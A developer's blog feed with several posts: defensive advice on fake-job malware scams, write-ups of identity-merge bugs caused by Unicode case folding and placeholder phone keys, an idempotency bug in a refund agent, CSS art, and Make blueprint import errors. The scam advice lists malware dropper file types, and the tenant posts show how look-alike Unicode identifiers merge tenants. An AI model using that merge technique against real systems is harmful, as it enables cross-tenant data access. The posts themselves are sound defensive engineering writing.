Read third-party code by view only. Read it raw over HTTP, no clone, no npm install, no pip install, no docker compose. And read the boring files first, because that is where it hides: config files like postcss, webpack, vite, the scripts block in package.json (watch postinstall and prepare), the Dockerfile, git hooks. Malware lives in the file you skip.
Treat attachments as text. Never double-click. A .docx or .xlsx is a zip, so unzip it and read the XML. A .zip or .rar, list the contents before extracting, and any .vbs, .bat, .js, .lnk, .scr, .hta, or executable inside means you stop there. Never go fetch the second stage to "see what it is." That just hands the attacker your IP and runs live malware.
A funded contract does not make their code safe to run. This is the bypass a scammer will reach for next, so be clear about it: a paid contract changes who is liable for the work, it does not change what the code does to your machine. If you ever genuinely have to run something unknown, it goes in a throwaway VM with no network and no access to your real files, and even a clean run there proves nothing, because some of this only fires on the right OS and some detects a VM. Reading the code is the only real check. Everything else is a second layer.
Stop saving passwords in the browser. That single keychain prompt is what turns one mistake into fourteen stolen logins. Use a password manager with its own master password, turn on 2FA everywhere, add passkeys where you can.
If it fires, assume the worst and wipe. Persistence hides in Electron apps and in npm, not only in the places a checklist looks. A reboot is not cleanup. If you cannot prove the machine is clean, you cannot trust it. I could not, so I formatted.

The uncomfortable part

The platforms are not catching these fast enough. I reported the job that got me, and the first reply said there was nothing wrong with it. The post came down a day later, from a different team, which tells you the front line and the safety team are not the same speed. You cannot outsource this to the marketplace. You are the last check.

The good news is that the defense is cheap. Skipping a scam costs you one lead you were never going to close anyway. Running one costs you your machine and days of your life. I know which trade I want now.

Be careful out there. If a client ever needs you to run their code before they will hire you, they are not hiring you.

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

The third identity merge wasn't Unicode. It was a placeholder.

Vinicius Pereira — Tue, 25 Aug 2026 22:19:50 +0000

Ann and Bob don't exist. They're two synthetic strangers in the test workspace of a CRM bridge I was about to publish. Ann is ann@x.example, Bob is bob@x.example, and both typed N/A into the phone field of a lead form, because that's what people type into a required phone field they'd rather not fill. My fake CRM merged them. Bob's upsert came back carrying Ann's contact id with Ann's conversation history hanging off it, and the audit ledger recorded contact_created twice. Two people created, one person stored, and the second creation line quietly naming the first one's id.

I caught it in a pre-publish review pass, not in production, which is the only comfortable part of this story. It's the third time in a few months I've hit the same family of bug, and this one stings in a specific way: it walked past a doctrine I had already written down twice.

The first incident was production. Python's casefold() merged two of my customers into one tenant: Unicode case folding is many-to-one, U+212A KELVIN SIGN folds to k, and two distinct identifiers became one entitlement key. The second was last week. My new repo argued against the exact bug it was carrying: the package preached ASCII-only folding while its own test fakes normalised emails with str.lower(). The doctrine existed; a caller just didn't call it.

This third one is worse in an instructive way, because the doctrine was right in both places you'd think to look.

The repo, for context

ghl-bridge is a policy-gated bridge between a GoHighLevel location and whatever generates reply drafts. Webhook in, dedupe, then a gate that only auto-sends a message when every policy passes, idempotency keyed on the event rather than the delivery, and a guard that raises if anything unapproved tries to leave. 379 tests, all offline, no account and no API key behind any of it.

Identity in this package follows two rules I've now paid for personally. Email folds ASCII case only, because str.lower() and str.casefold() apply Unicode tables that merge characters which were never case variants of each other. And phone is deterministic E.164 or an explicit refusal: a bare national number resolves only through the location's configured region, and when the rules can't determine the answer, the result is a PhoneNeedsReview value carrying the raw input and a named reason. A value, not an exception. The caller has to route it to a human queue on purpose, because guessing a country code merges strangers.

Both rules held. normalise_email was clean. normalise_phone was clean. Every caller I'd checked called them.

The door nobody was watching

The fake workspace models the platform's documented upsert semantics: within a location, an incoming contact that matches on email or phone updates the existing record instead of creating a new one. To do that it keeps an email index and a phone index, and before the review pass, its phone key helper had a fallback:

def _phone_key(self, state: _LocationState, raw: str) -> str:
    result = normalise_phone(raw, default_region=state.location.default_region)
    if isinstance(result, NormalisedPhone):
        return result.e164
    return raw.strip()

Look at how reasonable it is. The doctrine function is right there, called first. The fallback only fires for values the normaliser refused, and it just keeps them, tidied up, so the index stays total. Every visible key path in the package was doctrine-clean, and then the else branch of one private helper inside the test fake overruled the whole argument.

Run the sequence and the consequences arrive in order. Ann upserts with phone N/A; the normaliser refuses; the index files her under the literal string N/A. Bob arrives an hour later with the same placeholder; his email misses; his phone "matches". Merge. From then on, every lead whose phone field says N/A chains into that same contact record, which keeps getting fatter. Meanwhile the deduper, which computes its own doctrine-clean keys, saw nothing to match for Bob, so it logged contact_created while the store underneath merged him away. The audit trail and the data disagreed. In a real CRM this is one stranger reading another stranger's conversation history.

And the detail that made me laugh, the bitter kind: raw.strip() is the Unicode strip. The package's own identity.py defines a six-character ASCII whitespace constant precisely because bare str.strip() trims things like U+3000 IDEOGRAPHIC SPACE and merges identifiers that differ only there. So ext-12 and ext-12 followed by an ideographic space also folded onto one index key. The fallback didn't merely bypass the phone doctrine. It committed the exact sin from the email doctrine on its way past.

The fix is structural, and it's None

def _phone_key(self, state: _LocationState, raw: str) -> str | None:
    """The E.164 dedupe key, or None when the number does not determine
    one. An unresolvable phone is stored as a field but never indexed:
    indexing the raw string would merge two strangers who both typed
    "N/A" into the form, and trimming it with ``str.strip`` would break
    the ASCII-only doctrine everything else keys on. No key, no match,
    no merge."""
    result = normalise_phone(raw, default_region=state.location.default_region)
    if isinstance(result, NormalisedPhone):
        return result.e164
    return None

The callers grew None checks: indexing skips it, phone search returns empty. The raw value still gets stored on the contact as a field, so a human reading the record sees exactly what arrived; it just never becomes a match key. Three tests now pin the behaviour: test_two_strangers_with_the_same_unparseable_phone_do_not_merge is the Ann and Bob story, test_an_unparseable_phone_is_stored_as_a_field_but_never_indexed pins the stored-but-never-keyed split, and test_the_ascii_trim_doctrine_holds_for_phone_indexing_too carries a literal U+3000 in its source. You can't see the character, which is exactly the point.

Two lessons worth carrying out of the repo, because both apply anywhere identity gets deduped.

A normalisation failure is not an identity. When the normaliser says "I don't know", indexing the raw value turns every placeholder into a master key: every N/A equals every other N/A, every none, every -, every xxx. This isn't a CRM quirk. Any dedupe, ETL join, or entity-resolution pass keyed on a column that contains placeholders has this failure mode, and the placeholder density of a phone column is never zero. The irresolvable key has to index as nothing at all.

One rule, and it's only as strong as its least visible door. Three incidents, one shape: a many-to-one transformation over identity is a merge, and a merge is a grant. In the tenant incident the grant was entitlements. In the on-behalf repo it would have been document access. Here it's two strangers becoming one contact with one shared history. What moved between the incidents is where the door was. In incident two, the doctrine existed and a caller didn't call it. In incident three, the callers all called it, and the leak was the fallback path inside one of them, in a test fake, the component everyone extends and nobody audits because "it's just the fake". The fake is the thing your entire suite treats as ground truth. A doctrine that stops at the fake's front door is a lobby sign.

What the fix does not fix

A placeholder that happens to parse walks straight through the front door: 5555555555 under a US-region location resolves to a legitimate-looking E.164 and mints a real key, so two strangers typing it will still merge. Refusing the unparseable stops junk from acting as a wildcard; it does not detect junk. Catching parseable junk needs a known-junk list or an alarm on keys that match suspiciously often, and this repo ships neither yet. Second, the fake is my model of the documented upsert semantics; whether the live platform's own server-side matching indexes raw strings is exactly the kind of thing the RUNBOOK says to verify against a real workspace before trusting anything. Third, the fix has a stated cost: an N/A lead with an unknown email now creates a fresh contact every time. That's deliberate. It fails toward duplicates a human can merge instead of merges nobody can split, but your review queue will feel the difference.

The doctrine, the fake, the deduper and the three anchor tests are all in github.com/vinimabreu/ghl-bridge if you want to run the Ann and Bob case yourself.

A key you couldn't compute is not a key to tidy up. It's no key at all.

My new repo argued against the exact bug it was carrying

Vinicius Pereira — Tue, 25 Aug 2026 15:52:54 +0000

Not long ago, Python's casefold() merged two of my customers into one tenant. I wrote that incident up in its own post, and the rule I carried out of it felt permanent: when a normalized value becomes a security key, the normalization is attack surface. Any many-to-one transform over an identity is a merge, and in an entitlement check a merge is a grant.

This month I finished the sequel to that repo. on-behalf is permission-aware retrieval for RAG over SharePoint and Google Drive: instead of copying ACLs at ingestion, it asks the source whether the asking user can open each candidate document, at query time, as the user, before anything gets ranked. Emails are the join key between an asking user and a sharing grant there, so models.py carries the lesson from last time as one small function, docstring pointing back at the whole argument:

ASCII_WHITESPACE = " \t\n\r\v\f"

def normalise_email(value: str) -> str:
    trimmed = value.strip(ASCII_WHITESPACE)
    fold = str.maketrans("ABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyz")
    return trimmed.translate(fold)

One correct implementation, in one place, born from a production incident. And in a review pass the day before publication, I found this in the package's own fakes:

user = GraphUser(user_id=user_id, email=email.strip().lower())

FakeGraph and FakeDrive, the deterministic permission models that ship inside the package, were normalizing every email with str.lower(). The repo was arguing against the exact bug it was carrying.

str.lower() is the polite one

lower() reads like the harmless sibling of casefold(). It skips the famous German fold: "ß".lower() is still "ß", where "ß".casefold() is "ss". But it is still a Unicode operation with many-to-one mappings inside it. U+212A is the Kelvin sign, a character that renders as a capital K in most fonts, and "K".lower() is a plain ASCII "k". One character, one method call, two identities become one.

The same two addresses through both folds. The left side is the bug; the right side is the doctrine, now anchored by a test.

I didn't leave that as a hypothetical. Before the fix, inside the fakes, a sharing link naming Kevlar@outside.example spelled with the Kelvin sign resolved to a PermissionProof for the ASCII user kevlar@outside.example. Two addresses the package's own normalise_email() keeps strictly apart, folded into one grant by the code whose job is to demonstrate the fence.

No test caught it going in, and the reason deserves a hard look: both sides of the comparison went through the same wrong fold. Link grantees were lowered, stored user emails were lowered, so every case-insensitivity test passed. A normalization bug in a join key is self-consistent. It doesn't crash and it never disagrees with itself. It just quietly merges identities that the doctrine one directory up says must never merge.

Fakes that demonstrate a guarantee are production code

This would be a smaller story if those were throwaway fixtures. They aren't. The fakes ship in on_behalf.fakes because they are the offline half of the product: they model SharePoint effective access (nested groups, folders that break inheritance, sharing links with expiry) and Drive's two auth modes, and they're what lets the demo and the 353-test suite run the full pipeline with no network, no credential, no key. When the suite proves "a sharing link is dead at the exact expiry instant", it proves it against these models. A test that validates the fence using a biased copy of the fence validates nothing.

So the fix was not a better fold in the fakes. It was deleting the second implementation. The fakes now import the same function everything else uses:

from ..models import normalise_email

user = GraphUser(user_id=user_id, email=normalise_email(email))

and the link-grantee matching goes through the same door:

user.email in {normalise_email(person) for person in link.people}

anchored by a test so the rule can't regress back into prose:

def test_link_people_matching_folds_ascii_only_never_unicode(
    tenant: GraphTenant,
) -> None:
    # "K" U+212A (Kelvin sign) lowercases to "k" under str.lower(); the fakes
    # must use the same ASCII-only fold as the rest of the package, so a link
    # naming the Kelvin-sign spelling is a different identity, not a grant.
    tenant.items["d-pub"].links.append(
        SharingLink(
            link_id="lnk-kelvin",
            scope=LinkScope.SPECIFIC_PEOPLE,
            people=("Kevlar@outside.example",),
        )
    )
    kevlar = tenant.add_user("u-kevlar", "kevlar@outside.example")
    decision = _resolve(tenant, kevlar, "d-pub")
    assert isinstance(decision, Denied)

The first character of that link's address is U+212A, not an ASCII K. They render identically on most screens, which is the whole problem, and why the comment spells it out.

Here's the part I keep coming back to. The doctrine existed the whole time. It was written down twice, once in the casefold post and once in the normalise_email docstring, and implemented correctly in exactly one place. The fakes just didn't call it. A security rule that lives in prose is advice. It becomes a property of the system on the day the function that implements it is the only door, and every caller, fakes included, has to walk through it.

The repo the bug was hiding in

The package deserved a cleaner arrival, because its own thesis is this same argument at a larger scale: a permission snapshot is a leak with a start date. Most "permission-aware" RAG connectors do this:

# ingestion, nightly
for doc in source.list_documents():
    index.add(doc, allowed_users=source.read_acl(doc))   # a copy

# query time
hits = [h for h in index.search(q, k) if user in h.allowed_users]   # the copy decides

That copy is wrong the day after it is right, in three distinct ways, and on-behalf ships a deliberately wrong SnapshotACLIndex (it raises a UserWarning at construction) so the three leaks are demonstrated by executable tests instead of described by paragraphs: a revoked direct grant the snapshot keeps honouring, a group the user left that the snapshot still counts them into, a sharing link that expired after ingestion. Each test asserts both directions, leak present in the snapshot and absent from the query-time path, so the demonstration can't pass by both sides being broken.

Same question, two indexes, after permissions moved. The snapshot believes 09:00 forever.

The offline demo runs one synthetic tenant through the same question at 09:00 and at 12:00, permissions moving at lunchtime, the index never re-ingested. Between the two runs one user loses a memo and another loses everything, while the index still holds all five documents, and the snapshot section closes on the sentence I'd put on a slide: the snapshot cannot see any of it, "because the event it needed to observe happened after the only moment it ever looked."

The whole demo, deterministic, no keys. Every number in this post comes from it.

The fix is ordering, twice over:

candidates = index.candidates(query)              # a lexical gate, unscored
decisions  = source.can_open_many(user, ids)      # the source answers, NOW
entitled   = [d for d in candidates if proven(d)] # proof or absence, no third state
return rank(query, entitled)[:k]                  # score last, cut last

Entitlement runs before ranking, so a document the user can't open never competes for the top-k window. The check runs at query time because that is the only moment the answer is true for. Whatever can't be proven is excluded and counted, never served on faith: a denial carries its reason, a source outage darkens that source's documents instead of widening access, and a redundant guard re-verifies every hit that reaches the context, raising EntitlementBreach instead of filtering silently, because a silent drop hides a real bug in the layer above.

What this does not settle

Exactness cuts both ways. A user whose grant was written under some exotic spelling of their address stays denied under an ASCII-only fold. That is the chosen trade-off, and it fails in the closed direction; the merge fails in the open one.

The live adapters sidestep folding almost entirely, by design. They do no ACL arithmetic: can_open fetches the item as the user, with a token minted on the user's behalf, and a 200 is the proof while 403 and 404 are the denial. The email fold matters most in the offline permission models, which is exactly the code most teams would wave off as "just fixtures".

And the live adapters have not yet been run against a real tenant. They implement the documented API contracts and pass the offline suite; the repo's RUNBOOK is the path to a real Microsoft 365 tenant and a Google Workspace domain, and until that walk happens the README refuses to claim it.

What changed in my process is small and concrete: fakes and fixtures now go through the same pre-publish sweep as shipped code, the grep for .lower( and .casefold( near anything identity-shaped covers the whole tree, and every doctrine function gets at least one test that exercises it through the fakes' own call path. The Kelvin test is the first of those. A rule is exactly as wide as the set of callers forced through the function that implements it; everything outside that set is a README.

The repo, with the demo, the three leak tests, and the RUNBOOK for a real tenant: github.com/vinimabreu/on-behalf

Python's casefold() merged two of my customers into one tenant

Vinicius Pereira — Wed, 12 Aug 2026 18:17:44 +0000

I spent a few days building a repo about multi-tenant retrieval. One knowledge base, many customers, and one promise: a customer can never retrieve another customer's documents. The filter runs before the candidate set is scored, the guard re-checks every chunk on the way out, every query lands in an audit log.

Then I ran an adversarial pass whose only job was to break the promise rather than confirm it. It broke it in four lines of setup, and the hole was in the function I had written specifically to prevent identity confusion.

The line that was supposed to be boring

Entitlement is compared on tenant identifiers, so identifiers get canonicalised once, at construction, and compared exactly afterwards:

def normalise_id(value: str) -> str:
    return value.strip().casefold()

The reasoning felt obvious. " ACME " and acme are the same customer, somebody will paste one with a trailing space eventually, and a fence that says "access denied" because of a space is a support ticket. casefold() rather than lower() because casefold is the Unicode-correct one, the one you are told to use for caseless comparison.

That is exactly why it is wrong here.

The tenant that was two tenants

The adversary created a customer called Straße-Werke and gave a completely unrelated principal a grant on strasse-werke. The unrelated principal read the documents.

>>> "Straße-Werke".casefold() == "strasse-werke".casefold()
True

casefold() is designed for caseless matching, and caseless matching is deliberately many-to-one. It is not a case conversion, it is a mapping onto a common form, and several of those mappings collapse characters that are not case variants of each other at all:

>>> "ß".casefold()          # one character becomes two
'ss'
>>> "K".casefold()     # KELVIN SIGN
'k'
>>> "ﬁ".casefold()     # LATIN SMALL LIGATURE FI
'fi'
>>> "ς".casefold() == "σ".casefold()   # final sigma
True

Every one of those is a merge. Feed casefold() two identifiers that an upstream registry considers distinct, and you get one entitlement key. Two customers become one customer.

Why this is worse than a normal access bug

Nothing failed. That is the part worth sitting with.

The filter ran correctly, against a key that was wrong. The candidate set was built correctly, from a key that was wrong. My guard, the deliberate second check that re-validates every chunk before it leaves, calls the same entitlement function, so it agreed. The audit log recorded a completely ordinary query:

QUERY principal=svc-partner allow=[strasse-werke/*/*] deny=[] returned=3

There is no exception, no anomaly, no unusual pattern. A reviewer reading that line sees a principal reading documents it is entitled to read, because by the time anything is logged, the two tenants are already the same tenant. Every layer of defence in depth inherits the same wrong key, so depth buys you nothing. The mistake happened before the first layer ran.

Then the same bug again, wearing different clothes

Having fixed the fold, I still had strip(). str.strip() with no argument removes all Unicode whitespace, not just the ASCII kind:

>>> "kronos\u3000".strip() == "kronos"   # IDEOGRAPHIC SPACE
True

The same applies to U+00A0, U+2007, U+1680, U+205F, U+0085 and U+2028. So a registry that enforces uniqueness on the raw string happily accepts kronos and kronos plus an ideographic space as two different customers, and my fence folds them into one.

The detail that makes this a good trap: zero-width space and the other invisible characters that people usually test for, U+200B, the soft hyphen, the byte order mark, are not stripped. So a test suite that covers "invisible characters" in the obvious way passes while the actual merge path stays open.

Two fixes I tried and threw away

Use lower() instead of casefold(). It reads like the conservative choice. It does not help:

>>> "K".lower()
'k'

The Kelvin sign folds under lower() too, because that mapping is simple case conversion, not full folding. Swapping the function narrows the hole without closing it, which is the worst outcome available: it feels fixed.

Reject non-ASCII identifiers at construction. This closes it, and it is wrong for a different reason. It refuses legitimate identifiers from most of the world in order to fix a bug in my normalisation, and it hides the actual rule behind a character-set restriction that has nothing to do with the problem.

The fix

Canonicalise as little as possible, and refuse anything that would need canonicalising to be safe:

ASCII_FOLD = str.maketrans(ascii_uppercase, ascii_lowercase)
ASCII_WHITESPACE = " \t\n\r\v\f"

def normalise_id(value: str) -> str:
    """Trim ASCII whitespace, fold ASCII case, and nothing else."""
    return value.strip(ASCII_WHITESPACE).translate(ASCII_FOLD)

Straße-Werke and strasse-werke now stay two tenants. A tenant named with non-ASCII characters keeps working, and keeps its identity.

Then the second half, which matters more than the first: anything still carrying whitespace or a non-printable character after the trim is refused at construction, naming the offending code point in the error. Not folded onto its neighbour, not silently accepted. A tenant id with an ideographic space in the middle of it is a data problem upstream, and the honest thing a fence can do is say so out loud instead of guessing which neighbour it meant.

The general shape of it

The lesson generalises past Unicode, and it is the reason I am writing this down rather than quietly pushing the patch.

When a normalised value becomes a security key, normalisation is part of the attack surface. Any many-to-one transform applied to an identity is a merge operation, and a merge between two identities is a privilege grant. Case folding, accent stripping, whitespace collapsing, punctuation removal, homoglyph mapping, lowercasing an email local part: all of them are helpful in a search box and all of them are dangerous the moment the output is compared for authorisation.

Two questions worth asking of any such function:

Can two inputs that the system elsewhere considers distinct produce the same output?
If they can, which layer is supposed to notice? If the answer is "the layer that compares the outputs", there is no such layer.

The reason I found this at all is that the adversarial pass was told to breach the fence, not to test it. A test written by the person who wrote the code asks "does it do what I meant". A test written to break it asks "what did I mean that was wrong". Those find different bugs, and the second kind is the kind that reaches production.

Why the repo concentrates risk there on purpose

The repo's actual argument is older and simpler than the Unicode story. Most multi-tenant retrieval filters after the ranking, which means a leak needs one caller, one cache, one new endpoint to forget. Filtering before the candidate set is scored moves all of that risk into a single function.

Which is precisely how I ended up here. Concentrating the risk is the right trade, and the bill it comes with is that the one function you concentrated it into is now the only thing worth attacking. That is why it carries 141 adversarial tests, and why four of them are about a character that is not a case variant of anything.

The repo is at github.com/vinimabreu/tenant-fence: the fence, the deliberately wrong version kept next to it so the suite can demonstrate the leak rather than describe it, and the tests that would have caught this on day one.

My exactly-once refund paid twice, and 373 passing tests could never have caught it

Vinicius Pereira — Tue, 04 Aug 2026 21:24:54 +0000

I spent a week building a repo about making LangGraph agents trustworthy in production. Routing measured against labelled fixtures instead of vibes. A human gate before anything irreversible. Durable resume, so a process that dies mid-refund comes back and does not pay the customer twice.

373 tests, all green. CI green on four Python versions. Then I ran an adversarial pass over it, whose only job was to break my claims rather than confirm them, and the first thing it broke was the one I had written the repo to prove.

The claim

The centre of the whole thing is one sentence from my README:

INSERT OR IGNORE then read. The claim and the check are one statement, so two attempts cannot both believe they are first.

Standard idempotency. Every effectful action gets a key, the key is inserted once, and whoever loses the race replays the stored result instead of running the handler again. My tests hammered it: eight concurrent processes on one key, one handler execution, seven replays. Crash injected at every boundary in the run, resumed from disk, effect count unchanged.

The bug

The key was built like this:

action_id = digest({
    "ticket": ticket_id,
    "tool": call.name,
    "args": call.args,      # <- what the model typed
})

call.args is raw model output. A language model asked for a $45.00 refund can write that amount in more than one way, and all of them are valid JSON that my schema happily accepts:

    4500  ->  action_id 1270c45d1612d5d1
  "4500"  ->  action_id 8f0f6363fea8adcf
  4500.0  ->  action_id b78a82d722dde95d

distinct idempotency keys for one identical $45.00 refund: 3

Three keys. Three refunds. Same customer, same invoice, same amount.

If a queue retries a ticket, or a customer submits twice, or the same conversation is driven again for any of the boring reasons production does that, and the model spells the number differently on the second pass, my exactly-once guarantee quietly becomes at-least-once. On money.

Why my tests were structurally incapable of finding it

This is the part I keep thinking about.

The test suite runs offline against a deterministic stand-in: a keyword classifier that, given the same ticket, emits byte-identical JSON every single time. That is a deliberate design choice and mostly a good one. It makes the suite fast, free, and reproducible, with no API key and no network.

It also means the second delivery of a ticket always produced exactly the same string as the first. The suite could never observe the failure, because the only component capable of producing the failure had been replaced with one that cannot.

My tests were not weak. They were blind by construction, in a way that green output cannot show you. Every assertion I had written was true. The thing I never asserted was that two equivalent calls collapse to one key, because with a deterministic generator, equivalent and identical are the same word.

The fix is one line of intent: derive the key from the arguments after the tool's own schema has parsed them, not from whatever the model typed.

parsed = spec.validate_args(call.args).model_dump(mode="json")
action_id = digest({
    "ticket": ticket_id,
    "tool": call.name,
    "args": parsed,          # parsed, not typed
})

Now 4500, "4500", 4500.0, " 4500 " and "+4500" all produce one key, while seven genuinely different refunds still produce seven. And there is a test that drives the same ticket twice with different spellings and asserts a single handler execution, so it stays fixed.

The second thing it broke: a metric that was measuring the wrong noun

While it was in there, the same pass killed a number I had been quoting proudly.

My report said tool choice 21/22 correct (95.5%). It compared the name of the tool the model picked against the expected name. Nothing anywhere compared the arguments.

So this ticket:

We were charged $90.00 on INV-10032 but only $45.00 of that was valid. Refund the difference.

with the model proposing issue_refund(invoice_ref="INV-10032", amount_cents=9000) scored as perfectly correct. Right tool, double the money. A version proposing $9,000 instead of $45 also scored perfectly correct.

"Chose the right action" and "chose the right tool name" are not the same claim, and I had been publishing the second one under the first one's label.

The fix added expected arguments to every fixture and a separate metric that counts them. Which is why my headline numbers got worse:

	before	after
routing accuracy	92.0%	90.2%
tool metric	21/22 name only	21/23 counting arguments
in-doubt stops	8	24
crash boundaries swept	176	208

Nothing regressed. The measurements stopped flattering me. The in-doubt count tripled because the audit also found two windows inside the effect where a crash could land and my crash-point list did not know they existed, which meant a line in my report was true by accident rather than by design.

What the repo does now

The whole thing in one pass. What follows is the same three acts, one at a time.

Routing is scored per branch with a confusion matrix, and the parser never raises: output it cannot trust becomes an escalation carrying one of nine named reasons, recorded in state.

Irreversible tools stop for a human, and the interrupt is measured in both directions. Missing a required stop is scored at threshold zero, because there is no acceptable rate for shipping a refund nobody approved. Stopping when you did not need to is scored separately with a real budget, because approval fatigue is how a gate stops meaning anything: interrupt people often enough for nothing and they start clicking approve without reading.

And the part that took the longest to get honest. The process can be killed at any of 208 points in a run and resumed from disk. 112 of the reachable boundaries come back byte-identical with the effect count unchanged. The other 24 land in a window that genuinely cannot be closed, between claiming the effect and recording its result, and there the system stops and says it does not know rather than guessing. A human reconciles it with the ledger in front of them.

Zero duplicates. Zero mismatches. A CI gate fails the build when any of those numbers moves.

vinimabreu / langgraph-production

A LangGraph support agent with the reliability layer around it: routing measured against labelled fixtures, a human gate before irreversible tools, durable resume with exactly-once effects, and a CI gate that fails when a number moves.

langgraph-production

A LangGraph agent with the reliability layer that decides whether it can ship.

Building the graph is the easy half. The half that decides whether it goes live is everything around it: what happens when the process dies between two nodes whether the refund gets paid twice on the way back up, whether an approval somebody gave on Tuesday can authorise a different action on Thursday, and whether anyone can say out loud how often the router is right.

This repo answers those four questions with code and with numbers, on a support desk for a fictional product. All data is synthetic.

The report this repo exists to produce

Real output from python -m langgraph_production.evaluation on this repository, not an illustration:

========================================================================
SUPPORT GRAPH EVALUATION
========================================================================
  fixtures      answer 13, escalate 15, tool 23  (total 51)
ROUTING
  accuracy      46/51 = 90.2%
  macro F1      0.907
  tool choice   22/23 correct (95.7%) on

…

View on GitHub

The takeaway I did not expect

I went in expecting the audit to find sloppy corners. It found the opposite: my careful parts were fine, and the failure was hiding in the seam between two decisions that were each individually correct.

Using a deterministic stand-in for tests: correct.
Keying idempotency off the tool call: correct.

Together they produce a system that is provably exactly-once against a generator that cannot vary, and at-least-once against the one you actually ship with.

So the question I now ask about any test suite, including yours: what can this suite not observe, by construction? Not what did I forget to assert. What has been designed out of the room. If you replace the non-deterministic component with a deterministic one for testing, every bug that only exists because of non-determinism is invisible to you, and it will stay invisible while the dashboard stays green.

Green tests are evidence about the world you built for them. It is worth being explicit about how much of the real one you left out.

Code, numbers, and the harness that produces them: github.com/vinimabreu/langgraph-production

Vinicius Pereira
vinimabreu.dev · github.com/vinimabreu

The ChocoDEV Signature Bar: one chocolate bar, zero images

Vinicius Pereira — Sun, 02 Aug 2026 22:08:15 +0000

This is a submission for Frontend Challenge: Comfort Food Edition, CSS Art.

Inspiration

Yesterday I submitted a landing page for ChocoDEV, a chocolate brand that exists only in CSS. A brand needs a product shot, and this brand has a rule: no images, ever. So the product shot had to be drawn in the only medium the brand allows.

It is one chocolate bar with a bite taken out of it, because a perfect untouched bar is a lie. Nobody photographs their comfort food before tasting it.

Demo

Live: vinimabreu.dev/chocodev/bar

The fallen chunk reacts if you click it. That is the entire JavaScript budget, three lines, and the piece is complete without them.

Journey

Every chunk is a molded facet: four trapezoid faces built from angular gradients, so the light lands differently on each slope, the way a real mold presses chocolate. The letters are not printed on top, they are pressed in, one dark shadow above and one thin highlight below, and that two-shadow trick is the whole illusion of depth.

The bite was the hard part. A clean clip-path zigzag looked like scissors had done it, so the exposed edge got fracture facets in lighter matte browns and a few crumbs, because chocolate never breaks politely.

There is exactly one animation, a slow sheen that crosses the bar like it is turning under a studio light, and it sits behind a prefers-reduced-motion guard. When your system asks for stillness, the bar just stands there looking edible.

Everything is gradients, box-shadow, border-radius and clip-path. Open devtools, it is chocolate all the way down.

ChocoDEV: a chocolate bar you can eat, in pure CSS

Vinicius Pereira — Sun, 02 Aug 2026 21:22:19 +0000

This is a submission for Frontend Challenge: Comfort Food Edition, Perfect Landing.

What I Built

ChocoDEV is a landing page for a chocolate brand that does not exist, and I am fine with that. Chocolate is my comfort food, and it turns out it is also South America's: the oldest traces of cacao were found in the upper Amazon, which as a Brazilian I consider a home win.

The page has one rule: zero images. No PNGs, no SVGs, no background URLs. Every square of chocolate, every drip, every bevel is gradients, box-shadow and keyframes. The footer makes the claim and devtools can check it, which is my favorite kind of claim.

The centerpiece is a chocolate bar you can actually eat. Each chunk is a button, each bite updates a counter, and when the bar is gone you get to bake a new one. There is also an exploded anatomy view of a single square, a scroll progress bar, and a testimonials section where four honest people confess things about chocolate that most of us only think.

Demo

Live demo: vinimabreu.dev/chocodev

Click a chunk of the bar. The counter is watching.

Journey

The zero images rule sounded like a gimmick and turned into the whole education. A believable chocolate square needs light coming from somewhere, and without images that means layered box-shadows: an inset highlight on top, an inset shadow at the bottom, a drop shadow below. Once the light direction was consistent, everything suddenly looked edible. Before that it looked like brown buttons.

The part I am most proud of is not visible. The page respects prefers-reduced-motion in three places: the CSS animations, the stat counters that jump straight to their final value instead of counting up, and the parallax that simply declines to run. Every interactive element is a real button with a name a screen reader can speak, the document has a language and a title, and the menu wraps instead of clipping on narrow screens. Accessibility is a judging criterion in this challenge, and I think it should be the first one: a landing page that only works for some visitors is a poster.

What I would do next: a dark and milk chocolate theme toggle, and sound on the snap. Probably a mistake. Most good ideas about chocolate are.

Thanks for reading, and go eat something that makes you feel at home.

Everything that broke when I imported hand-written Make blueprints into a real workspace

Vinicius Pereira — Tue, 28 Jul 2026 17:52:42 +0000

The import dialog took my JSON without a single complaint. The first execution died on module 2 with BundleValidationError: Validation failed for 7 parameter(s).

That gap between "the import accepted it" and "the runtime will actually run it" is where I spent most of a day this week, and almost none of it is documented anywhere I could find. So here it is, in the order it broke.

Context, briefly. I write Make (ex-Integromat) scenarios as blueprint JSON by hand instead of assembling them in the canvas, because I want them in git, diffable, reviewable. The scenarios route an order flow between an ERP and a 3PL. Every decision that can go wrong (is this order complete, which carrier code does a typo'd shipping method mean, is this event a duplicate) lives in a typed FastAPI service with 83 pytest tests, and every response carries the same envelope: decision for the routers to branch on, reason for a human, evidence for the audit trail. The scenario routes; the service decides. To test the whole thing for real, I imported the blueprints into a live Make workspace and exposed the local service through a cloudflared tunnel.

Then the workspace started grading my homework.

1. Import is a parser, not a validator

The blueprints were clean JSON. Modules, routes, mappings, all structurally valid, and the import agreed. The first run did not: Validation failed for 7 parameter(s), naming seven fields I had never typed in my life, all missing from the HTTP module's mapper: serializeUrl, shareCookies, rejectUnauthorized, followRedirect, useQuerystring, gzip, useMtls.

These are the checkboxes the canvas quietly fills in when you drop an HTTP module onto a scenario. Write the module by hand and nobody fills them, and import does not care, because import only checks that the JSON parses into modules and routes. The module's own contract is enforced at execution time.

Fine. I added the seven and ran again.

Validation failed for 1 parameter(s): followAllRedirects.

The first error listed seven missing parameters when there were eight. Runtime validation happens in layers, and each run only surfaces the layer it died in. Budget one execution per layer of complaints; the error list in front of you is not the whole bill.

Here is the mapper that finally runs, straight from the blueprint:

"mapper": {
  "url": "https://YOUR-SERVICE-HOST/orders/validate",
  "method": "post",
  "headers": [{ "name": "Content-Type", "value": "application/json" }],
  "data": "{\"order_ref\": \"{{1.order_ref}}\", \"customer\": {{13.json}}, \"shipping_address\": {{14.json}}, \"shipping_method\": \"{{1.shipping_method}}\", \"lines\": {{12.json}}}",
  "serializeUrl": false,
  "shareCookies": false,
  "rejectUnauthorized": true,
  "followRedirect": true,
  "followAllRedirects": false,
  "useQuerystring": false,
  "gzip": true,
  "useMtls": false
}

Keep that block. It is the difference between a blueprint that imports and a blueprint that runs.

2. `{{1.body}}` does not exist, and the failure mode is silence

I had written the webhook mappings the way anyone with HTTP reflexes would: the webhook receives a POST, so the payload must live in {{1.body}}. It does not. Make's custom webhook parses the incoming JSON and exposes the fields at the top level of the module output: {{1.order_ref}}, {{1.shipping_method}}. There is no body.

